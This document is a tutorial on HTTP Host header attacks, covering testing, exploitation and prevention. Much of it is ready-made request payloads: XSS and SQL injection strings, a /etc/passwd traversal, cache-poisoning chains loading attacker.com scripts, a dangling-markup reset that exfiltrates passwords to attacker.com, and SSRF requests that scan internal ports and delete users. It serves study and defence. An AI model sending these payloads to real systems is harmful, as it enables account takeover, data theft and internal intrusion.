

HTTP Host Header Attacks

Eyad Islam El-Taher

July 6, 2026

Contents

1	Introduction to HTTP Host Header	3
1.1	What is the HTTP Host Header?	3
1.2	Purpose and Importance	3
1.3	HTTP/1.1 vs HTTP/2 vs HTTP/3	3
2	Why HTTP Host Header Exists and Attack Vectors	3
2.1	Technical Reasons for the Host Header	3
2.2	Common Attack Vectors	4
3	What Are HTTP Host Header Attacks?	4
3.1	Definition	4
4	When Do Host Header Attacks Happen?	5
4.1	Vulnerable Scenarios	5
4.1.1	1. When Host Header is Trusted for Security Decisions	5
4.1.2	2. When Generating URLs Using Host Header	5
4.1.3	3. When Caching Depends on Host Header	5
4.1.4	4. When Multiple Host Headers are Processed Differently	5
4.2	Where to Test for Vulnerabilities	5
4.3	Discovery Techniques	6
5	Effects of Host Header Attacks	6
5.1	Impact Categories	6
5.1.1	1. Security Impact	6
5.1.2	2. Business Impact	6
5.1.3	3. Technical Impact	6
6	How to Identify and Test for Host Header Vulnerabilities	7

6.1	Testing Methodology	7
6.1.1	1. Supply Arbitrary Host Header	7
6.1.2	2. Check for Flawed Validation	7
6.1.3	3. Multiple Host Headers	7
6.1.4	4. Header Injection Techniques	8
6.1.5	5. Host Override Headers	8
6.1.6	6. Ambiguous Request Techniques	9
6.2	Comprehensive Testing Checklist	9
7	How to Exploit Host Header Vulnerabilities	9
7.1	Exploitation Techniques	9
7.1.1	1. Cache Poisoning Exploitation	9
7.1.2	2. Password Reset Poisoning	10
7.1.3	3. Password Reset Poisoning via Dangling Markup	10
7.1.4	4. Web Cache Poisoning via Ambiguous Requests	11
7.1.5	5. Host Header Override	12
7.2	Virtual Host Brute-Forcing	12
7.2.1	Overview	12
7.2.2	Attack Methodology	13
7.3	Routing-Based SSRF via Host Header	13
7.3.1	What is Routing-Based SSRF?	13
7.3.2	Attack Vector	13
7.3.3	Detection Using Burp Collaborator	13
7.3.4	Internal Network Scanning	14
7.3.5	Exploitation Example	14
7.4	SSRF via Absolute URL and Flawed Request Line	14
7.4.1	Absolute URL SSRF	14
7.4.2	Malformed Request Line SSRF	15
7.5	Connection State Attacks	15
7.5.1	Overview	15
7.5.2	Attack Technique	15
7.5.3	Exploitation Steps	16
7.5.4	7. SQL Injection via Host Header	16
7.6	Advanced Exploitation Techniques	16
7.6.1	Internal Network Scanning	16
8	Host Header Validation Bypass Techniques	17
8.1	Common Bypass Techniques	17
8.2	Why Host Header Validation Fails	17
9	How to Prevent HTTP Host Header Attacks	18
9.1	Best Practices	18
9.1.1	1. Server-Side Validation	18
9.2	Defense-in-Depth Strategies	18
9.2.1	1. Input Validation	18
9.2.2	4. Cache Security	18
9.2.3	5. Disable Host Override Headers	19
9.3	Comprehensive Prevention Checklist	19

1 Introduction to HTTP Host Header

1.1 What is the HTTP Host Header?

The HTTP `Host` header is a mandatory request header that specifies the domain name of the server the client wants to communicate with. It was introduced in HTTP/1.1 to support virtual hosting, allowing multiple websites to be hosted on the same IP address.

```
1 GET /index.html HTTP/1.1
2 Host: example.com
3 User-Agent: Mozilla/5.0
4 Accept: text/html
```

Listing 1: Basic HTTP Host Header Example

1.2 Purpose and Importance

The `Host` header serves several critical functions:

- **Virtual Hosting:** Enables multiple domains on one IP address
- **Routing:** Directs requests to the correct application
- **URL Generation:** Used to construct absolute URLs in responses
- **Security:** Helps prevent DNS rebinding attacks
- **Caching:** Part of cache key for content delivery networks

1.3 HTTP/1.1 vs HTTP/2 vs HTTP/3

- **HTTP/1.1:** Host header is mandatory; each request includes it
- **HTTP/2:** Uses `:authority` pseudo-header instead
- **HTTP/3:** Similar to HTTP/2 with `:authority`

2 Why HTTP Host Header Exists and Attack Vectors

2.1 Technical Reasons for the Host Header

- **IP Address Sharing:**
 - Multiple websites on a single server
 - Cloud hosting environments
 - Shared hosting platforms
- **Load Balancing:**
 - Routing to backend servers

- Session persistence
- Geographic distribution

2.2 Common Attack Vectors

Attack Vector	Description	Impact
Host Header Injection	Injecting malicious content via Host header	XSS, cache poisoning
Host Header Override	Using multiple Host headers	Request routing bypass
Port Injection	Injecting arbitrary ports	Password reset hijacking
Domain Reflection	Reflecting Host header in responses	XSS, content spoofing
Cache Poisoning	Poisoning caches with malicious content	Widespread XSS
Password Reset Poisoning	Manipulating reset links	Account takeover
Authentication Bypass	Bypassing access controls	Unauthorized access
Virtual Host Brute-Forcing	Discovering hidden domains	Increased attack surface
SQL Injection	Injecting SQL via Host header	Data theft

3 What Are HTTP Host Header Attacks?

HTTP Host header attacks are a class of web vulnerabilities where an attacker manipulates the `Host` header to achieve malicious outcomes. These attacks exploit the trust placed in the `Host` header by web applications and infrastructure.

3.1 Definition

Host header attacks occur when a web application or server improperly validates, sanitizes, or uses the `Host` header value, allowing attackers to:

- Poison web caches
- Hijack password reset functionality
- Bypass security controls
- Perform cross-site scripting (XSS)
- Access internal systems
- Manipulate URL generation
- Steal sensitive information
- Take over user accounts

4 When Do Host Header Attacks Happen?

4.1 Vulnerable Scenarios

4.1.1 1. When Host Header is Trusted for Security Decisions

- Access control based on `Host` header
- Rate limiting per domain
- Authentication decisions
- Admin panel restrictions

4.1.2 2. When Generating URLs Using Host Header

- Password reset emails
- Confirmation links
- Absolute redirects
- Asset loading (JS, CSS)
- API endpoint construction

4.1.3 3. When Caching Depends on Host Header

- CDN configurations
- Reverse proxy caching
- Varnish or Squid setups
- Application-level caching

4.1.4 4. When Multiple Host Headers are Processed Differently

- Frontend proxy takes first header
- Backend application takes last header
- Different systems with different parsing logic

4.2 Where to Test for Vulnerabilities

Component	Test Point	What to Look For
Web Application	All endpoints	Reflected header values
Password Reset	/forgot-password	Links in emails
Email Systems	Email content	Absolute URLs
CDN/Proxy	Cacheable responses	Cache behavior
Admin Panels	/admin, /dashboard	Access bypass

Asset Loading	JS, CSS, Images	URL construction
Redirects	3xx responses	Location headers

4.3 Discovery Techniques

Tip

Quick Discovery Checklist:

- Use Burp Suite or similar proxy
- Add **X-Forwarded-Host** headers
- Try multiple **Host** headers
- Test with invalid values
- Check all absolute URLs in responses
- Monitor cache headers (**Age**, **Cache-Control**)

5 Effects of Host Header Attacks

5.1 Impact Categories

5.1.1 1. Security Impact

- **Account Takeover:** Password reset hijacking
- **Session Hijacking:** Stealing cookies via XSS
- **Data Exfiltration:** Dangling markup attacks
- **Bypass Access Controls:** Admin panel access
- **SSRF:** Internal system access

5.1.2 2. Business Impact

- **Reputation Damage:** Trust loss in customers
- **Legal Liability:** Data breach consequences
- **Financial Loss:** Theft, fines, remediation costs
- **Operational Disruption:** Cache poisoning impact

5.1.3 3. Technical Impact

- **Cache Poisoning:** Malicious content served to all users
- **XSS:** Client-side code execution
- **Information Disclosure:** Password exposure
- **Denial of Service:** Cache flooding

- **API Abuse:** Unauthorized operations
- **Virtual Host Discovery:** Hidden domains exposed

6 How to Identify and Test for Host Header Vulnerabilities

6.1 Testing Methodology

6.1.1 1. Supply Arbitrary Host Header

```

1 # Test 1: Arbitrary domain
2 GET / HTTP/1.1
3 Host: arbitrary.com
4
5 # Test 2: Different case
6 GET / HTTP/1.1
7 Host: VULNERABLE.COM
8
9 # Test 3: Invalid characters
10 GET / HTTP/1.1
11 Host: vulnerable.com<script>alert(1)</script>
12
13 # Test 4: Port manipulation
14 GET / HTTP/1.1
15 Host: vulnerable.com:9999
16
17 # Test 5: Localhost
18 GET / HTTP/1.1
19 Host: localhost
20
21 # Test 6: IP address
22 GET / HTTP/1.1
23 Host: 127.0.0.1

```

Listing 2: Basic Host Tests

6.1.2 2. Check for Flawed Validation

```

1 # Port injection (if domain validated only)
2 GET / HTTP/1.1
3 Host: vulnerable.com:bad-stuff-here
4
5 # Subdomain tricks
6 GET / HTTP/1.1
7 Host: notvulnerable-website.com
8 GET / HTTP/1.1
9 Host: hacked-subdomain.vulnerable.com
10
11 # DNS suffix matching
12 GET / HTTP/1.1
13 Host: evil.vulnerable-website.com

```

Listing 3: Validation Bypass Tests

6.1.3 3. Multiple Host Headers

```

1 # Test 1: Two different hosts
2 GET / HTTP/1.1
3 Host: vulnerable.com
4 Host: attacker.com
5
6 # Test 2: Case manipulation
7 GET / HTTP/1.1
8 Host: vulnerable.com
9 HoSt: attacker.com
10
11 # Test 3: Duplicate headers
12 GET / HTTP/1.1
13 Host: vulnerable.com
14 Host: vulnerable.com
15
16 # Test 4: Three or more
17 GET / HTTP/1.1
18 Host: first.com
19 Host: second.com
20 Host: third.com

```

Listing 4: Multiple Header Tests

6.1.4 4. Header Injection Techniques

```

1 # XSS injection
2 Host: vulnerable.com"><script>alert(1)</script>
3
4 # HTML injection
5 Host: vulnerable.com'><h1>Hacked</h1>
6
7 # Dangling markup
8 Host: vulnerable.com:'<a href="//attacker.com/?
9
10 # Path traversal
11 Host: vulnerable.com/../../../../etc/passwd
12
13 # CRLF injection
14 Host: vulnerable.com%0d%0aX-Injected-Header: test

```

Listing 5: Injection Tests

6.1.5 5. Host Override Headers

```

1 # Test various override headers
2 GET / HTTP/1.1
3 Host: vulnerable.com
4 X-Forwarded-Host: attacker.com
5
6 GET / HTTP/1.1
7 Host: vulnerable.com
8 X-Host: attacker.com
9
10 GET / HTTP/1.1
11 Host: vulnerable.com
12 X-Forwarded-Server: attacker.com
13
14 GET / HTTP/1.1

```



```

15 Host: vulnerable.com
16 X-HTTP-Host-Override: attacker.com
17
18 GET / HTTP/1.1
19 Host: vulnerable.com
20 Forwarded: host=attacker.com

```

Listing 6: Host Override Tests

6.1.6 6. Ambiguous Request Techniques

```

1 # Absolute URL method
2 GET https://vulnerable.com/ HTTP/1.1
3 Host: attacker.com
4
5 # Line wrapping (indented header)
6 GET / HTTP/1.1
7     Host: attacker.com
8 Host: vulnerable.com
9
10 # Protocol variations
11 GET http://vulnerable.com/ HTTP/1.1
12 Host: attacker.com

```

Listing 7: Ambiguous Request Tests

6.2 Comprehensive Testing Checklist

Test Type	Action	Expected Observation
Reflection	Modify Host to domain.com	Domain reflected in response
Cache	Change cache buster	Cache behavior changes
Email	Reset password with poison	Poisoned link in email
Redirect	Observe 3xx responses	Host in Location header
Assets	Check JS/CSS URLs	Asset URL uses host
Headers	Add X-Forwarded-Host	Backend accepts override
Duplicate	Two Host headers	Different processing
Port	Invalid port number	Port reflected in content
Absolute URL	GET with full URL	Routing bypass
Line Wrap	Indented header	Header parsing difference

7 How to Exploit Host Header Vulnerabilities

7.1 Exploitation Techniques

7.1.1 1. Cache Poisoning Exploitation

```

1 # Step 1: Poison the cache
2 GET /?cb=123 HTTP/1.1
3 Host: vulnerable.com
4 Host: attacker.com
5
6 # Step 2: Verify poisoning
7 GET /?cb=123 HTTP/1.1

```

```

8 Host: vulnerable.com
9
10 # Response should contain:
11 # <script src="http://attacker.com/payload.js"></script>
12
13 # Step 3: Victim requests
14 GET /?cb=123 HTTP/1.1
15 Host: vulnerable.com
16
17 # Victim receives poisoned response
18 # XSS executes in victim's browser

```

Listing 8: Cache Poisoning Attack

7.1.2 2. Password Reset Poisoning

```

1 # Step 1: Inject malicious host
2 POST /forgot-password HTTP/1.1
3 Host: vulnerable.com: '<a href="//attacker.com/?
4 username=carlos
5
6 # Step 2: Check email client raw view
7 # Dangling markup exfiltrates password
8
9 # Step 3: Access log shows password
10 GET /?/reset%27%3E...password:NewPass123...
11 Host: attacker.com
12
13 # Step 4: Login with stolen password
14 POST /login HTTP/1.1
15 Host: vulnerable.com
16 username=carlos&password=NewPass123

```

Listing 9: Password Reset Attack

7.1.3 3. Password Reset Poisoning via Dangling Markup

What is Dangling Markup? Dangling markup is an HTML injection technique where you leave unclosed tags that cause the browser to include subsequent page content as attributes of the injected tag, effectively exfiltrating that content.

```

1 # Attack email
2 <a href='//vulnerable.com:'<a href="//attacker.com/?/login '>here </a>
3
4 # Browser interpretation
5 <a href="//attacker.com/?/login%27%3Ehere</a></p>
6 <p>Your password: Secret123</p>">
7
8 # Resulting GET request
9 GET /?/login%27%3Ehere</a></p><p>Your password: Secret123</p>
10 Host: attacker.com

```

Listing 10: Dangling Markup Attack Flow

Key Technical Details:

- When HTML parser encounters `<a href="//attacker.com/?`

- Everything after this until the next " becomes the href attribute
- This includes the rest of the email content (including password)
- Browser auto-completes malformed HTML by making a GET request
- No JavaScript execution needed (purely HTML-based)
- Raw HTML view bypasses sanitization (DOMPurify)

7.1.4 4. Web Cache Poisoning via Ambiguous Requests

What is Ambiguous Request Cache Poisoning? This technique exploits discrepancies in how different components (front-end proxy vs back-end application) process HTTP requests, particularly the Host header.

Key Injection Techniques:

```

1 GET / HTTP/1.1
2 Host: vulnerable.com           # Front-end uses this for routing
3 Host: attacker.com           # Back-end uses this for content
4
5 # Result: Cache stores poisoned response
6 Response contains: <script src="attacker.com/payload.js"></script>
7 # Cache key: Host + Path (uses first host)
8 # Content generation: uses second host

```

Listing 11: Duplicate Host Attack

```

1 GET https://vulnerable.com/ HTTP/1.1
2 Host: attacker.com
3
4 # Front-end: Uses request line URL for routing
5 # Back-end: Uses Host header for content generation

```

Listing 12: Absolute URL Attack

```

1 GET / HTTP/1.1
2     Host: attacker.com         # Indented - ignored by some parsers
3 Host: vulnerable.com         # Used for routing
4
5 # Front-end: Ignores indented header
6 # Back-end: Processes indented header as valid

```

Listing 13: Line Wrapping Attack

```

1 GET / HTTP/1.1
2 Host: vulnerable.com:attacker.com
3
4 # Validation: Domain name checked (vulnerable.com)
5 # Content: Full host including port used

```

Listing 14: Port Injection

How Ambiguous Requests Work:

- **Front-end proxy** (load balancer, CDN) processes the request

- **Back-end application** processes it differently
- This discrepancy allows Host header injection while maintaining valid routing

Complete Cache Poisoning Chain:

```

1 # Phase 1: Poison the cache with ambiguous request
2 GET /?cb=123 HTTP/1.1
3 Host: vulnerable.com
4 Host: attacker.com
5
6 # Response stored in cache with key: /?cb=123
7 # Contains poisoned script references
8
9 # Phase 2: Verify poisoning
10 GET /?cb=123 HTTP/1.1
11 Host: vulnerable.com
12
13 # Phase 3: Victim requests
14 GET /?cb=123 HTTP/1.1
15 Host: vulnerable.com
16 # Returns poisoned response from cache
17 # XSS executes

```

Listing 15: Step-by-Step Exploitation

7.1.5 5. Host Header Override

```

1 # Technique 1: X-Forwarded-Host
2 GET / HTTP/1.1
3 Host: vulnerable.com
4 X-Forwarded-Host: attacker.com
5
6 # Technique 2: X-Host
7 GET / HTTP/1.1
8 Host: vulnerable.com
9 X-Host: attacker.com
10
11 # Technique 3: Multiple headers
12 GET / HTTP/1.1
13 Host: vulnerable.com
14 X-Forwarded-Host: attacker.com
15 X-Original-Host: attacker.com
16
17 # Technique 4: Port overrides
18 GET / HTTP/1.1
19 Host: vulnerable.com:attacker.com

```

Listing 16: Host Override Techniques

7.2 Virtual Host Brute-Forcing

7.2.1 Overview

Companies sometimes host publicly accessible websites and private, internal sites on the same server. Servers typically have both a public and a private IP address. As the internal hostname may resolve to the private IP address, this scenario can't always be detected simply by looking at DNS records.

```

1 www.example.com: 12.34.56.78      # Public IP
2 intranet.example.com: 10.0.0.132  # Private IP (no public DNS)

```

Listing 17: Public vs Private IP Example

7.2.2 Attack Methodology

In some cases, the internal site might not even have a public DNS record. Nonetheless, an attacker can typically access any virtual host on any server that they have access to, provided they can guess the hostnames.

```

1 # Brute-force common subdomains
2 GET / HTTP/1.1
3 Host: admin.internal.vulnerable.com
4
5 GET / HTTP/1.1
6 Host: intranet.vulnerable.com
7
8 GET / HTTP/1.1
9 Host: dev.vulnerable.com
10
11 GET / HTTP/1.1
12 Host: staging.vulnerable.com
13
14 GET / HTTP/1.1
15 Host: internal.vulnerable.com
16
17 # Check response differences:
18 # - Different status codes
19 # - Different content lengths
20 # - Different applications served

```

Listing 18: Virtual Host Brute-Forcing

7.3 Routing-Based SSRF via Host Header

7.3.1 What is Routing-Based SSRF?

Routing-based SSRF relies on exploiting intermediary components like load balancers and reverse proxies that are prevalent in cloud-based architectures.

7.3.2 Attack Vector

These components sit in a privileged network position, receiving requests from the public web while having access to much of the internal network. If they are insecurely configured to forward requests based on an unvalidated Host header, they can be manipulated into misrouting requests to arbitrary systems.

7.3.3 Detection Using Burp Collaborator

```

1 GET https://vulnerable-website.com/ HTTP/1.1
2 Host: BURP-COLLABORATOR-SUBDOMAIN
3
4 # If you receive a DNS lookup from the target server
5 # or another in-path system, this indicates you may be
6 # able to route requests to arbitrary domains

```

7.3.4 Internal Network Scanning

Having confirmed manipulation of an intermediary system, the next step is to access internal-only systems:

```
1 # Scan private IP ranges
2 GET https://vulnerable-website.com/ HTTP/1.1
3 Host: 192.168.0.1
4
5 # CIDR notation examples:
6 # 192.168.0.0/16 (192.168.0.0 - 192.168.255.255)
7 # 10.0.0.0/8 (10.0.0.0 - 10.255.255.255)
8 # 172.16.0.0/12 (172.16.0.0 - 172.31.255.255)
9
10 # Common internal services
11 Host: 192.168.0.1:8080      # Proxy
12 Host: 192.168.0.1:6379     # Redis
13 Host: 192.168.0.1:5432     # PostgreSQL
14 Host: 192.168.0.1:3306     # MySQL
15 Host: 192.168.0.1:22       # SSH
16 Host: 192.168.0.1:443     # HTTPS
17 Host: 192.168.0.1:5000     # Flask/Docker
18 Host: 192.168.0.1:9200     # Elasticsearch
19 Host: 192.168.0.1:9090     # Prometheus
```

Listing 19: Internal IP Scanning

7.3.5 Exploitation Example

```
1 # Step 1: Discover internal IP
2 GET https://vulnerable-website.com/ HTTP/1.1
3 Host: 192.168.0.1
4
5 # Step 2: Access admin panel
6 GET https://vulnerable-website.com/admin HTTP/1.1
7 Host: 192.168.0.1
8
9 # Step 3: Perform admin actions
10 POST https://vulnerable-website.com/admin/delete HTTP/1.1
11 Host: 192.168.0.1
12 Cookie: session=YOUR-SESSION
13 Content-Type: application/x-www-form-urlencoded
14
15 csrf=TOKEN&username=carlos
```

Listing 20: SSRF to Admin Panel

7.4 SSRF via Absolute URL and Flawed Request Line

7.4.1 Absolute URL SSRF

When a server validates the absolute URL in the request line instead of the Host header, you can manipulate the Host header while maintaining access.

```
1 # Normal request (validated)
2 GET / HTTP/1.1
3 Host: vulnerable.com
4
```

```

5 # Absolute URL bypass
6 GET https://vulnerable.com/ HTTP/1.1
7 Host: 192.168.0.1
8
9 # The server validates the absolute URL
10 # But routes based on the Host header
11 # Allows internal access while maintaining validation

```

Listing 21: Absolute URL Attack

7.4.2 Malformed Request Line SSRF

Custom proxies may fail to properly validate the request line, allowing unusual input.

```

1 # Normal request
2 GET /path/to/resource HTTP/1.1
3
4 # Malformed request with @ symbol
5 GET @private-intranet/example HTTP/1.1
6
7 # Results in upstream URL:
8 # http://backend-server@private-intranet/example
9 # Interpreted as: username=backend-server, host=private-intranet
10
11 # This can allow access to internal systems
12 GET @192.168.0.1/admin HTTP/1.1

```

Listing 22: Malformed Request Line Attack

7.5 Connection State Attacks

7.5.1 Overview

For performance, many websites reuse connections for multiple request/response cycles. Poorly implemented HTTP servers assume certain properties (like Host header) are identical for all requests over the same connection.

7.5.2 Attack Technique

```

1 # First request (innocent) - establishes connection
2 GET / HTTP/1.1
3 Host: vulnerable.com
4 Connection: keep-alive
5
6 # Second request (malicious) - same connection
7 GET /admin HTTP/1.1
8 Host: 192.168.0.1
9 Connection: keep-alive
10
11 # The server validates only the first request
12 # Subsequent requests bypass validation
13 # This allows access to restricted content

```

Listing 23: Connection State Attack

7.5.3 Exploitation Steps

1. Send a legitimate request to establish connection
2. Add both tabs to a group in Burp Suite
3. Change send mode to "Send group in sequence (single connection)"
4. Set Connection header to keep-alive
5. First request: Valid Host header for validation
6. Second request: Malicious Host header for exploitation

```
1 # Tab 1: Validation request
2 GET / HTTP/1.1
3 Host: vulnerable.com
4 Connection: keep-alive
5
6 # Tab 2: Exploitation request
7 POST /admin/delete HTTP/1.1
8 Host: 192.168.0.1
9 Cookie: session=VICTIM_SESSION
10 Connection: keep-alive
11 Content-Type: application/x-www-form-urlencoded
12
13 csrf=TOKEN&username=admin
```

Listing 24: Connection State Attack Example

7.5.4 7. SQL Injection via Host Header

```
1 # Basic SQL injection
2 GET / HTTP/1.1
3 Host: vulnerable.com' OR '1'='1
4
5 # If Host header used in SQL query:
6 SELECT * FROM users WHERE host = 'vulnerable.com' OR '1'='1'
7
8 # Blind SQL injection
9 GET / HTTP/1.1
10 Host: vulnerable.com' AND SLEEP(5)--
11
12 # Error-based
13 GET / HTTP/1.1
14 Host: vulnerable.com' AND 1=CONVERT(int, @@version)--
15
16 # Union-based
17 GET / HTTP/1.1
18 Host: vulnerable.com' UNION SELECT username,password FROM users--
```

Listing 25: SQL Injection Attack

8 Host Header Validation Bypass Techniques

8.1 Common Bypass Techniques

Technique	Example
Port Injection	Host: vulnerable.com:malicious
Subdomain Whitelisting	Host: random.vulnerable.com
DNS Suffix Matching	Host: notvulnerable-website.com
Header Override	X-Forwarded-Host: attacker.com
Duplicate Headers	Host: vulnerable.com & Host: attacker.com
Line Wrapping	Host: attacker.com
Absolute URL	GET https://vulnerable.com/ ... Host: attacker
Protocol Variation	http:// vs https://
Case Manipulation	Host: VULNERABLE.COM
Null Byte Injection	Host: vulnerable.com%00attacker.com

8.2 Why Host Header Validation Fails

- **Parser Discrepancies:** Different components parse headers differently
- **Trust in User Input:** Applications trust the Host header
- **Default Configurations:** Many frameworks support override headers by default
- **Caching Behavior:** Caches use Host header in cache key
- **Dynamic URL Generation:** Host header used in link generation
- **Ambiguous Request Handling:** Front-end vs back-end differences

9 How to Prevent HTTP Host Header Attacks

9.1 Best Practices

9.1.1 1. Server-Side Validation

```

1 // Good: Whitelist validation
2 const allowedHosts = ['example.com', 'www.example.com'];
3 function validateHost(host) {
4     return allowedHosts.includes(host);
5 }
6
7 // Better: Regular expression validation
8 function validateHost(host) {
9     const pattern = /^[a-zA-Z0-9-]+(\.[a-zA-Z0-9-]+)*\.[a-zA-Z]{2,}$/;
10    if (!pattern.test(host)) return false;
11    return allowedHosts.includes(host);
12 }
13
14 // Best: Framework validation
15 // In Node.js with Express
16 app.use((req, res, next) => {
17     if (!allowedHosts.includes(req.hostname)) {
18         return res.status(400).send('Invalid Host header');
19     }
20     next();

```

```
21 });
```

Listing 26: Host Validation

9.2 Defense-in-Depth Strategies

9.2.1 1. Input Validation

- Validate Host header against whitelist
- Reject malformed headers
- Sanitize header before reflection
- Encode output contextually
- Implement proper port validation
- Reject multiple Host headers

9.2.2 4. Cache Security

```
1 # Proper cache headers
2 Cache-Control: private, no-store, no-cache,
3     must-revalidate, max-age=0
4
5 # Vary header for cache differentiation
6 Vary: Host, Accept-Encoding
7
8 # Cache key includes full host
9 # Ensure cache isolation per domain
10
11 # Prevent cache poisoning
12 Cache-Control: no-cache, no-store, must-revalidate
13 Pragma: no-cache
14 Expires: 0
```

Listing 27: Cache Security

9.2.3 5. Disable Host Override Headers

```
1 # Remove or ignore these headers if not needed
2 # X-Forwarded-Host
3 # X-Host
4 # X-Forwarded-Server
5 # X-HTTP-Host-Override
6 # Forwarded
7
8 # In Nginx - don't forward these headers
9 proxy_set_header X-Forwarded-Host "";
10 proxy_set_header X-Host "";
11
12 # In Apache - strip headers
13 RequestHeader unset X-Forwarded-Host
14 RequestHeader unset X-Host
```

Listing 28: Disable Override Headers

9.3 Comprehensive Prevention Checklist

- **Validation Layer:**

- Whitelist allowed hostnames
- Validate against server name
- Check for multiple Host headers
- Validate port numbers
- Use regex for format validation

- **Application Layer:**

- Never trust Host header for security
- Use absolute URLs with configured domains
- Sanitize reflected host values
- Implement proper CSP
- Use framework security features

- **Monitoring Layer:**

- Log Host header anomalies
- Monitor for duplicate headers
- Alert on suspicious patterns
- Regular security testing
- Monitor for cache poisoning attempts